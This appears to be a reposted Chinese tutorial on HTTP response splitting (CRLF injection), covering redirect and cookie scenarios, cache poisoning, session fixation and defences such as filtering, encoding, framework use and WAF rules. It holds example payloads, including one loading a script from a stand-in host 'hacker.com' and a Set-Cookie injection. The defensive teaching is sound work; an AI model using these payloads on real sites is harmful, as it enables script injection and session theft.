当前位置: 首页 > news >正文

Web 安全之 HTTP 响应截断攻击详解

这不是危言耸听。
在一次安全审计中,某电商平台发现:
用户访问首页后,自动跳转到了赌博网站
但代码没被篡改,服务器没被入侵,日志一切正常。

最终追查发现——
罪魁祸首,竟是一个 %0d%0a(回车+换行)的URL参数。

这就是鲜为人知却极其危险的:HTTP 响应截断攻击
它不靠漏洞提权,不靠暴力破解,而是用“文本注入”的方式,让服务器自己“说出”恶意内容

今天,我们就来揭开这场“语言级”攻击的真相。

一、你的响应头,可能已经被“切开”了

我们每天都在和 HTTP 打交道:

  • 浏览器请求页面,
  • 服务器返回数据,
  • 一切看似自然流畅。

但你有没有想过——
HTTP 响应,其实是“拼”出来的?

服务器会把响应头和响应体像“三明治”一样组合起来:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: user=alice<html>...</html>

其中,换行符 \r\n 是分隔符,两个 \r\n\r\n 代表响应头和响应体的分界。

而攻击者,就盯上了这个“分隔逻辑”。

二、黑客怎么“切开”HTTP 响应?

想象一下:
你让厨师写一张菜单:“主菜:红烧肉”。
但他在“红烧肉”后面偷偷加了“\n\n甜点:冰淇淋\n\n备注:所有客人都送一杯毒药”。

结果,这张菜单就变成了两张独立的指令

HTTP 响应截断,正是这种“越权拼接”。

攻击核心:CRLF 注入

CRLF = Carriage Return + Line Feed = \r\n
攻击者通过在用户输入中插入 %0d%0a(URL 编码后的 \r\n),提前结束响应头,然后注入自己的“新响应”。

典型场景:重定向参数污染

比如这个链接:

https://example.com/redirect?url=https://safe.com

服务器代码可能是:

String url = request.getParameter("url");
response.sendRedirect(url);

看起来没问题?错。

如果攻击者把 url 参数改成:

https://safe.com%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

服务器就会生成:

HTTP/1.1 302 Found
Location: https://safe.com
Content-Type: text/html<script>alert(1)</script>

浏览器收到后,会认为这是两个独立的HTTP响应

  1. 第一个:重定向到 safe.com(合法)
  2. 第二个:一个包含恶意脚本的页面(攻击者注入)

虽然现代浏览器对重定向中的响应体处理较严格,但在非重定向场景中,这种攻击可以直接生效。

三、更可怕的实战:Cookie + XSS = 会话劫持

来看一个更真实、更危险的案例。

场景:设置用户名并写入 Cookie

某网站允许用户自定义昵称,并通过响应头设置 Cookie:

Set-Cookie: username=用户输入的昵称

攻击者注册昵称为:

Alice%0d%0a%0d%0a<script src=//hacker.com/x.js></script>

服务器生成的响应变成:

HTTP/1.1 200 OK
Set-Cookie: username=Alice<script src=//hacker.com/x.js></script>
<html>...</html>

用户的浏览器会:

  • 忽略第一个“空响应”,
  • 执行第二个响应体中的恶意脚本。

结果:

  • 用户毫无察觉,
  • 却已加载了黑客的 JS,
  • 账号、Cookie、密码输入,全部被窃取。

这就是 “响应截断 + XSS” 的完美结合,比普通 XSS 更隐蔽,更难防御。

四、它还能干啥?这些后果你可能想不到

别以为这只是“弹个窗”的小问题。
HTTP 响应截断的连锁反应,远超你的想象:

1. 网页缓存投毒(Web Cache Poisoning)

如果网站用了 CDN 或反向代理缓存,攻击者可以让缓存服务器把恶意内容和正常 URL 绑定
结果:所有用户访问首页,都看到钓鱼页面
修复难度极大,缓存不清空,问题一直存在。

2. 会话固定(Session Fixation)

攻击者注入:
%0d%0aSet-Cookie: SESSIONID=attack123
强行将用户的会话ID设为已知值。
用户登录后,黑客直接拿着这个 ID 登录,完成无密码入侵

3. 内容欺骗与钓鱼

返回一个和官网一模一样的登录页,但表单提交地址指向黑客服务器。
用户输入账号密码,直接“上交”。

五、为什么它这么难防?

因为:

  • 请求看起来完全合法,没有SQL注入、没有文件上传;
  • 流量极小,不会触发 DDoS 告警;
  • 传统 WAF 规则难以识别,因为它不依赖特定 payload,而是利用协议逻辑;
  • 开发者容易忽略:谁会想到一个“换行符”能毁掉整个系统?

六、三步防御法:从开发到运维全面设防

✅ 第一步:输入过滤——堵住源头

对所有将用于设置响应头的用户输入,严格过滤:

// Java 示例
String input = request.getParameter("name");
input = input.replaceAll("[\\r\\n]", ""); // 移除 CRLF

最佳实践:使用白名单。
比如用户名只允许 a-z, 0-9, _-,其他一律拒绝。

✅ 第二步:输出编码——双重保险

即使输入进了系统,也要在写入响应头前编码

// 使用 URL 编码
String encoded = URLEncoder.encode(input, "UTF-8");
response.setHeader("X-User", encoded);

这样,%0d%0a 会被转成 %250d%250a,失去攻击能力。

✅ 第三步:用框架,别自己造轮子

现代框架早已内置防护:

框架防护机制
Spring BootHttpHeaders 自动过滤非法字符
DjangoHttpResponse headers 自动清理
Express.jssetHeader 对特殊字符有校验

👉 结论:优先使用成熟框架,避免手写 response.setHeader()

七、运维必做:WAF + 日志监控

1. 部署 WAF,开启 CRLF 检测规则

  • 拦截包含 %0d%0a\r\n 的请求;
  • 特别关注 CookieLocationReferer 等头字段的输入源。

2. 监控异常响应

  • 设置告警:短时间内大量 302 重定向或 Set-Cookie 异常;
  • 定期审计日志,查找可疑的 URL 编码参数。

安全,藏在最不起眼的字符里

我们总以为,安全是防火墙、是加密、是漏洞扫描。
但真正的风险,往往藏在一行代码、一个换行符、一次不规范的输入处理中。

HTTP 响应截断攻击提醒我们:

在Web世界里,每一个字符都可能是武器。

作为开发者,不要问“谁会这么干”;
而要问:“如果有人这么干,我的系统会不会崩?”

防御的本质,不是预测攻击,而是杜绝可能性。

http://www.dtcms.com/a/342480.html

相关文章:

  • JavaScript 系列之:图片压缩
  • 微信小程序设计的请求封装方案(request.js)
  • NPM模块化总结
  • DINOv3 重磅发布
  • 计算机网络技术学习-day6《三层交换机配置》
  • python发布文章和同步文章到社区的工具小脚本
  • 第三阶段数据库-6:sql中函数,多表查询,运算符,索引,约束
  • 智慧城管云平台源码,微服务vue+element+springboot+uniapp技术架构,数字化综合执法办案系统
  • 数据结构之排序大全(4)
  • 苷类成分通过 PI3K/AKT 信号通路促进内皮祖细胞来源外泌体修复受损血管内皮
  • 基于YOLO11的茶叶病害智能检测系统
  • 组态软件——工业监控“大脑”
  • leetcode-python-242有效的字母异位词
  • 代码随线录刷题Day39
  • 【uni-app】自定义导航栏以及状态栏,胶囊按钮位置信息的获取
  • Java的运行时数据区
  • Notepad++换行符替换
  • 机器学习——AdaBoost算法
  • 基于YOLO11的水稻叶片病害检测项目
  • 面试压力测试破解:如何从容应对棘手问题与挑战
  • (第二十期上)HTML 超链接标签 a
  • 【工具】前端JS/VUE修改图片分辨率
  • C语言数据结构:动态顺序表实现与应用
  • 如何使用Prometheus + Grafana + Loki构建一个现代化的云原生监控系统
  • 数字社会学是干什么的?数字社会学理论与数字社会学家唐兴通讲数字社会学书籍有哪些?AI社会学人工智能社会学理论框架
  • 4090服务器无法sudo apt update 问题解决
  • 告别服务器!Amazon Lambda无服务开发实战指南
  • CI/CD 学习之路
  • 佰钧成 社招 一面
  • Cesium 实战 27 - 自定义纹理材质 - 立体墙(渐变色)